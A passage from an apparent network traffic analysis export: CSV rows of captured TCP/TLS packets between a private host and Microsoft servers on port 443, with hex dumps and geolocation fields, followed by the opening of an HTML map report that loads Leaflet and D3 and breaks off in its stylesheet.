data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06_\\\\xbf\\\\xba\\\\xd9\\\\xbe\\\\x84\\\\xbe\\\\xc7\\\\xaeq\\\\xff}Y\\\\xd0\\\\xb3\\\\x86\\\\xce!\\\\x1fE\\\\x04\\\\xa2\\\\xe0\\\\xb0\\\\x9a\\\\xec\\\\xa5#\\\\x8a\\\\x97\\\\xf7\\\\xc9\\\\x11\\\\xe1\\\\xfc\\\\xd0(H\\\\xc4xJb\\\\x85,\\\\xe7\\\\xd9\\\\xc4:\\\\xe1\\\\xab\\\\tr\\\\xd2\\\\xc8\\\\xcc7F\\\\x05?M@@.1\\\\x87\\\\xe1M\\\\xe4\\\\x8a\\\\xda\\\\xb1\\\\xef\\\\r\\\\xc5t\\\\xf3L\\\\xbb&\\\\x8f\\\\x92-\\\\\\\\\\\\xa5\\\\x84\\\\x89\\\"\",\\\\xd6\\\\x1d\\\\x80\\\\x08\\\\xb9\\\\x0c\\\\x00L\\\\xd3\\\\x9b\\\\xa0\\\\xf7\\\\xdd+\\\\x12q\\\\xf4\\\\xe2<\\\\x83\\\\xb6\\\\xd1\\\\xc7\\\\x19\\\\x94HU\\\\xd9UB\\\\xbe\\\\xfb\\\\xd1\\\"\"I\\\\xdb\\\\xd2^\\\\'\\\\xc3!Z+\\\"\"G\\\\x0f\\\\xa0P:^\\\\xe6s\\\\x9e\\\\xee\\\\xc0\\\\n\\\\x8f\\\\x89E\\\\xf4\\\\x1c\\\\xaa\\\\x1fJ\\\\xda\\\\x07u\\\\xd2?cvx$|/8\\\\xfa\\\\xd2\\\\x18\\\\x8e\\\\xaa\\\\xad\\\\xf5R\\\\x18;\\\\x1d\\\\xae\\\\r4W9\\\\xe6\\\\xc1\\\"\"\\\\xc8\\\\x7fq\\\\x90\\\\xe5@u\\\\xee\\\\x1d\\\\xb1&\\\\xf4-/\\\\xb9c\\\\x92\\\\xc0\\\\xbb\\\\xff4\\\\x83\\\\x8a\\\\x8c\\\\x02\\\\xfd\\\\x92\\\\xee7\\\\xe4\\\\x07\\\\x8c|\\\\xc2\\\\r\\\\x01\\\\x12\\\\xcb\\\\xbb\\\\x12>\\\\x1b\\\\x14N\\\\x08\\\\xc2\\\\x91\\\\x9a~~\\\\xec`v\\\\\\\\+\\\\x03\\\\xb5gf\\\\x0fg\\\\xc39\\\\x85z\\\\xdd\\\\x83S~{\\\\x16\\\\xd2\\\\xa9\\\\xc1\\\\x88\\\\x1e\\\\xa9\\\\x1c\\\\x8aO\\\\xb1\\\\xc7i(\\\\xf9I\\\\x85\\\\xa9b\\\\xeb\\\\xe6m&\\\\xde#T\\\\xab\\\\x98V\\\\xf7\\\\xfc\\\\xea\\\\xb5S\\\\xcb\\\\xeb\\\\x9f\\\\x025\\\\x0e\\\\xf9\\\\xee\\\\x1bb\\\\xa8wC\\\\xc1uh\\\\xfc\\\\xa37\\\\xf7\\\\xdd\\\\xc9lp\\\\x98E]\\\\xc6>\\\\n\\\\xe4\\\\xdf\\\\x8d\\\\xb6\\\\x90\\\\xc1\\\\xf9\\\\xc4\\\\xe1\\\\x05\\\\xf3\\\\xa3\\\\xe1a\\\\xa2A\\\\xe0\\\\x16KN|\\\\xf4PHEp\\\\xebCC\\\\xca7\\\\xc4\\\\xe60\\\\xee\\\\xb2xEG_65\\\\x8e\\\\x99\\\\x9f\\\\xc3\\\\xdd\\\\x12?\\\\\\\\K\\\\xb2\\\\xe86R_\\\\x00J7\\\\x8b^7P\\\\x9d\\\\x86i\\\\xb6\\\\x9a(p\\\\xc6I!\\\\xf5\\\\xa8I\\\\xf8A\\\\t\\\\x8a\\\\x19\\\\xf5;\\\\xe1>#0\\\\x18\\\\x85d\\\\x90\\\\xb9\\\\xeb\\\\xa5e\\\\x86\\\\xc6,\\\\x19+8wJ:\\\\xd1\\\\xa8 \\\\xa7\\\\xcaU/l\\\\x05\\\\nVS\\\\xccd\\\\x12.\\\\\\\\t\\\\xa3\\\\x1a\\\\xe2h\\\\x07\\\\xc4\\\\xf7\\\\x89r\\\\xa0B\\\\x85\\\\xcd\\\\x07u\\\\xbbW\\\\xd0\\\\xe7\\\\xdd0\\\\xf8\\\\xdc\\\\x9d\\\\x97BOw\\\\x8aafY=&@<g\\\\xf4-\\\\x08\\\\xf9\\\\xb3\\\\n\\\\xbf\\\\xd5\\\\xa3\\\\x0e(\\\\xb3YR.\\\\xdcu\\\\xcf3\\\\xa5R\\\\xc1\\\\xf7\\\\xc0\\\\xdf\\\\xc3aZ\\\\xc3*3\\\\xc4^\\\\x1dZ\\\\xc9\\\\xa4h\\\\x11\\\\xd3\\\\xdb\\\\xff\\\\xfbp\\\\xdc\\\\xf9\\\\xa7pn\\\\xf2\\\\xfb%]\\\\x94\\\\xe5\\\\xf1b\\\\xe9\\\\xab\\\\xbfAn;%\\\\xe25\\\\xb6xP\\\\x8f\\\\x03\\\\xf9\\\\x92X\\\\xc0\\\\x0enH\\\\xa9V\\\\xab\\\\x9e\\\\xfa^D\\\\xf7\\\\xd0\\\\xa4It\\\\x04D \\\\xdbN\\\\xbd\\\\xed\\\\x93\\\\xa53\\\\x87\\\\xe6\\\\x0c\\\\n\\\\xd5\\\\xd391\\\\x00R<c\\\\x93\\\\xa9\\\\x07\\\\x80\\\\xf5\\\\xae\\\\xdc\\\\xac\\\\xb2\\\\xf4\\\\x0e\\\\xa2\\\\x7f\\\\xca\\\\xdcnn\\\\xcf\\\\xffl?\\\\x06z\\\\xa69:\\\\'\\\\x06Qoc\\\\x13\\\\x95\\\\xcc\\\\x7f\\\\xe5\\\\x80\\\\x90\\\\xe3\\\\x0e%\\\\t\\\\xc3laW\\\\n\\\\x01\\\\xf3\\\\xe0\\\\xca\\\\x81&3mJ4&' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:51.425372,106,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=962448864 Ack=4197194704,bc24112907bbbc2411360d0c080045000028afa3400080066ff90a98980b2862102efa0e01bb395dcde0fa2c1bd050100400b79c0000,\".$.)...$.6\n...E..(..@...o.\n...(b......9]...,..P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44963, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28665, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448864, \"\"ack\"\": 4197194704, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 47004, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:51.427797,107,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=962448864 Ack=4197194704,bc24112907bbbc2411360d0c08004500006eafa4400080066fb20a98980b2862102efa0e01bb395dcde0fa2c1bd050180400fbfb0000170303004100000000000000055165cda0ed1b48b89b78969c8aa03e33d061cd574cb33424cbe823fb12f6514df97a28f0567957eed2391d1c36d71c7b8ef7537d3fa2714ce6,\".$.)...$.6\n...E..n..@...o.\n...(b......9]...,..P...........A........Qe....H..x....>3.a.WL.4$..#...QM.z(.VyW..9..6..{..S}?.qL.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 110, \"\"id\"\": 44964, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28594, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448864, \"\"ack\"\": 4197194704, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 64507, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 65, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05Qe\\\\xcd\\\\xa0\\\\xed\\\\x1bH\\\\xb8\\\\x9bx\\\\x96\\\\x9c\\\\x8a\\\\xa0>3\\\\xd0a\\\\xcdWL\\\\xb34$\\\\xcb\\\\xe8#\\\\xfb\\\\x12\\\\xf6QM\\\\xf9z(\\\\xf0VyW\\\\xee\\\\xd29\\\\x1d\\\\x1c6\\\\xd7\\\\x1c{\\\\x8e\\\\xf7S}?\\\\xa2qL\\\\xe6' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:51.427815,108,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4197194704 Ack=962448934,bc2411360d0cbc24112907bb080045000028802240004006df7a2862102e0a98980b01bbfa0efa2c1bd0395dce265010003fdb4d0000,\".$.6\n..$.)....E..(.\"\"@.@..z(b..\n........,..9].&P..?.M..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 32802, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57210, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197194704, \"\"ack\"\": 962448934, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56141, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:51.929387,109,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4197194704 Ack=962448934,bc2411360d0cbc24112907bb08004500029c802340004006dd052862102e0a98980b01bbfa0efa2c1bd0395dce265018003fddc10000170303026f0000000000000007bc18737a1a5e9be71627306904c273c03990e1362f44b8ad65c57af1fe10db0b89495251399f3e025494565aad42413e231b3e9bc1b7f98aaf6991820bb2b345f366b0fc2b763ac63a559cef53de0264afe9bcef79f13e60d3434b3e2833f13034427f954662604bff7018567ed8db08ac9082d4b12c0d68d01370a945baabc1567d0dc03412bf5e69e30a3b8b076861d443eb52143183afb74f11bd93b08b72535cd94eecd20ff990568235315b4efc227482ebf57fbc9805b98520c84d9a437227cf2cc2f2a5c6b418973e56ad12f2c276583758b5363aca7bba6372a2963621d36b3e6e4b40c455cb3209a075a7d1489e6b2b7ecb67236d32b9633deb60e92c07f76f57acf28e763814bbbf2ba060e528eba1d0dca62df4d69073d2d18ec5fcebbfd9c73ea465f369ba0cd99fad832b08320a78e1267feeaa7e35743599b8577349b26d3a8c830c185d31b724e0a07874464ce262494f85f3d2cb8b9980fcefd9126b52b6088301936a95543766e7a2284460066a3bbbfa7355efcac0a0973c0613299eec7f80d7dbdb9eee4e93b45682262efecb4f6fa96772deee0c7a8bdf7cfe1ac9291f92e46d04a65529d8397ce7e6b8ae8e91477f8993531e267a27d6da04cfcc105106d87f2030dfdfaef500e179ee742d83af9051855175ab978c4ec253a34103e9507fabdda3b53d81003feb9506b8b76d68942037e216f764f7c0647b39943d5f1d371d8423aaf5071e648a99ed2c7fdce2bb2a02d661f45fe1099fa4b0cc55302864cc74f83c74886aff06f44c013d8449e8176d570666d6c2501a0cade8e57b5eb74eae6cee70900cec514705f8d54c980d76eca8f71bf759cf8bd83b4de789,\".$.6\n..$.)....E....#@.@...(b..\n........,..9].&P..?........o..........sz.^...'0i..s.9..6/D..e.z......IRQ9.>.T.VZ.BA>#.>......i.....E.f..+v:.:U..S..d....y.>`.CK>(3.04B..Fb`K.p.V~........,\nh..p.E...V}\n.4..^i.\n;..ha.C.R.1...O.....rS\\.N.....V.51[N.\"\"t......... .M.Cr'.,.......>V....vX7X.6:.{.cr..6!.k>nK@.U.2\t.u..H.k+~.g#m2.c=.`.,..oW...v8...+.`.(.....-...s.........>.e.i......+.2\nx.&...~5t5..WsI.m:....]1.$..xtFL.bIO...........kR.....j.T7f..(D`.j;..sU.....<..).........N..V.&...Oo.gr...z..|...)...m..U).9|......G...S.&z'......Q... 0......y.t-...Q.Qu...N.S.A..P.....=..?.....mh. 7...d..d{9.=_.7..#....d...,....*..a._.\t....U0(d.t.<t.j...L.=.I..mW.f..P.....{^.N.l.p...QG...L.\nv.....Y...;M..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 668, \"\"id\"\": 32803, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56581, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197194704, \"\"ack\"\": 962448934, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56769, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 623, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xbc\\\\x18sz\\\\x1a^\\\\x9b\\\\xe7\\\\x16\\\\'0i\\\\x04\\\\xc2s\\\\xc09\\\\x90\\\\xe16/D\\\\xb8\\\\xade\\\\xc5z\\\\xf1\\\\xfe\\\\x10\\\\xdb\\\\x0b\\\\x89IRQ9\\\\x9f>\\\\x02T\\\\x94VZ\\\\xadBA>#\\\\x1b>\\\\x9b\\\\xc1\\\\xb7\\\\xf9\\\\x8a\\\\xafi\\\\x91\\\\x82\\\\x0b\\\\xb2\\\\xb3E\\\\xf3f\\\\xb0\\\\xfc+v:\\\\xc6:U\\\\x9c\\\\xefS\\\\xde\\\\x02d\\\\xaf\\\\xe9\\\\xbc\\\\xefy\\\\xf1>`\\\\xd3CK>(3\\\\xf104B\\\\x7f\\\\x95Fb`K\\\\xffp\\\\x18V~\\\\xd8\\\\xdb\\\\x08\\\\xac\\\\x90\\\\x82\\\\xd4\\\\xb1,\\\\rh\\\\xd0\\\\x13p\\\\xa9E\\\\xba\\\\xab\\\\xc1V}\\\\r\\\\xc04\\\\x12\\\\xbf^i\\\\xe3\\\\n;\\\\x8b\\\\x07ha\\\\xd4C\\\\xebR\\\\x141\\\\x83\\\\xaf\\\\xb7O\\\\x11\\\\xbd\\\\x93\\\\xb0\\\\x8brS\\\\\\\\\\\\xd9N\\\\xec\\\\xd2\\\\x0f\\\\xf9\\\\x90V\\\\x8251[N\\\\xfc\\\"\"t\\\\x82\\\\xeb\\\\xf5\\\\x7f\\\\xbc\\\\x98\\\\x05\\\\xb9\\\\x85 \\\\xc8M\\\\x9aCr\\\\'\\\\xcf,\\\\xc2\\\\xf2\\\\xa5\\\\xc6\\\\xb4\\\\x18\\\\x97>V\\\\xad\\\\x12\\\\xf2\\\\xc2vX7X\\\\xb56:\\\\xca{\\\\xbacr\\\\xa2\\\\x966!\\\\xd3k>nK@\\\\xc4U\\\\xcb2\\\\t\\\\xa0u\\\\xa7\\\\xd1H\\\\x9ek+~\\\\xcbg#m2\\\\xb9c=\\\\xeb`\\\\xe9,\\\\x07\\\\xf7oW\\\\xac\\\\xf2\\\\x8ev8\\\\x14\\\\xbb\\\\xbf+\\\\xa0`\\\\xe5(\\\\xeb\\\\xa1\\\\xd0\\\\xdc\\\\xa6-\\\\xf4\\\\xd6\\\\x90s\\\\xd2\\\\xd1\\\\x8e\\\\xc5\\\\xfc\\\\xeb\\\\xbf\\\\xd9\\\\xc7>\\\\xa4e\\\\xf3i\\\\xba\\\\x0c\\\\xd9\\\\x9f\\\\xad\\\\x83+\\\\x082\\\\nx\\\\xe1&\\\\x7f\\\\xee\\\\xaa~5t5\\\\x99\\\\xb8WsI\\\\xb2m:\\\\x8c\\\\x83\\\\x0c\\\\x18]1\\\\xb7$\\\\xe0\\\\xa0xtFL\\\\xe2bIO\\\\x85\\\\xf3\\\\xd2\\\\xcb\\\\x8b\\\\x99\\\\x80\\\\xfc\\\\xef\\\\xd9\\\\x12kR\\\\xb6\\\\x08\\\\x83\\\\x01\\\\x93j\\\\x95T7f\\\\xe7\\\\xa2(D`\\\\x06j;\\\\xbb\\\\xfasU\\\\xef\\\\xca\\\\xc0\\\\xa0\\\\x97<\\\\x06\\\\x13)\\\\x9e\\\\xec\\\\x7f\\\\x80\\\\xd7\\\\xdb\\\\xdb\\\\x9e\\\\xeeN\\\\x93\\\\xb4V\\\\x82&.\\\\xfe\\\\xcbOo\\\\xa9gr\\\\xde\\\\xee\\\\x0cz\\\\x8b\\\\xdf|\\\\xfe\\\\x1a\\\\xc9)\\\\x1f\\\\x92\\\\xe4m\\\\x04\\\\xa6U)\\\\xd89|\\\\xe7\\\\xe6\\\\xb8\\\\xae\\\\x8e\\\\x91G\\\\x7f\\\\x89\\\\x93S\\\\x1e&z\\\\'\\\\xd6\\\\xda\\\\x04\\\\xcf\\\\xcc\\\\x10Q\\\\x06\\\\xd8\\\\x7f 0\\\\xdf\\\\xdf\\\\xae\\\\xf5\\\\x00\\\\xe1y\\\\xeet-\\\\x83\\\\xaf\\\\x90Q\\\\x85Qu\\\\xab\\\\x97\\\\x8cN\\\\xc2S\\\\xa3A\\\\x03\\\\xe9P\\\\x7f\\\\xab\\\\xdd\\\\xa3\\\\xb5=\\\\x81\\\\x00?\\\\xeb\\\\x95\\\\x06\\\\xb8\\\\xb7mh\\\\x94 7\\\\xe2\\\\x16\\\\xf7d\\\\xf7\\\\xc0d{9\\\\x94=_\\\\x1d7\\\\x1d\\\\x84#\\\\xaa\\\\xf5\\\\x07\\\\x1ed\\\\x8a\\\\x99\\\\xed,\\\\x7f\\\\xdc\\\\xe2\\\\xbb*\\\\x02\\\\xd6a\\\\xf4_\\\\xe1\\\\t\\\\x9f\\\\xa4\\\\xb0\\\\xccU0(d\\\\xcct\\\\xf8<t\\\\x88j\\\\xff\\\\x06\\\\xf4L\\\\x01=\\\\x84I\\\\xe8\\\\x17mW\\\\x06f\\\\xd6\\\\xc2P\\\\x1a\\\\x0c\\\\xad\\\\xe8\\\\xe5{^\\\\xb7N\\\\xael\\\\xeep\\\\x90\\\\x0c\\\\xecQG\\\\x05\\\\xf8\\\\xd5L\\\\x98\\\\rv\\\\xec\\\\xa8\\\\xf7\\\\x1b\\\\xf7Y\\\\xcf\\\\x8b\\\\xd8;M\\\\xe7\\\\x89' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:51.929735,110,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=962448934 Ack=4197195332,bc24112907bbbc2411360d0c080045000028afa5400080066ff70a98980b2862102efa0e01bb395dce26fa2c1e44501003fdb4e50000,\".$.)...$.6\n...E..(..@...o.\n...(b......9].&.,.DP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44965, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28663, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448934, \"\"ack\"\": 4197195332, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 46309, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:51.936302,111,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,RA,,,Ether > IP > TCP,3,TCP RA Seq=193541786 Ack=1223504444,bc24112907bbbc2411360d0c0800450000288f11400080065e040a98980b84f5e621f9dc01bb0b89369a48ed323c50140000e9310000,\".$.)...$.6\n...E..(..@...^.\n......!......6.H.2<P....1..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36625, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24068, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541786, \"\"ack\"\": 1223504444, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 59697, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:51.936602,112,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,RA,,,Ether > IP > TCP,3,TCP RA Seq=962448934 Ack=4197195332,bc24112907bbbc2411360d0c080045000028afa6400080066ff60a98980b2862102efa0e01bb395dce26fa2c1e4450140000b8de0000,\".$.)...$.6\n...E..(..@...o.\n...(b......9].&.,.DP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44966, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28662, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448934, \"\"ack\"\": 4197195332, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 47326, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:51.936651,113,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,RA,,,Ether > IP > TCP,3,TCP RA Seq=3321036494 Ack=763877838,bc24112907bbbc2411360d0c0800450000288f12400080065e030a98980b84f5e621fa0a01bbc5f2fece2d87d9ce50140000da380000,\".$.)...$.6\n...E..(..@...^.\n......!.\n......-...P....8..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36626, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24067, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321036494, \"\"ack\"\": 763877838, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 55864, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 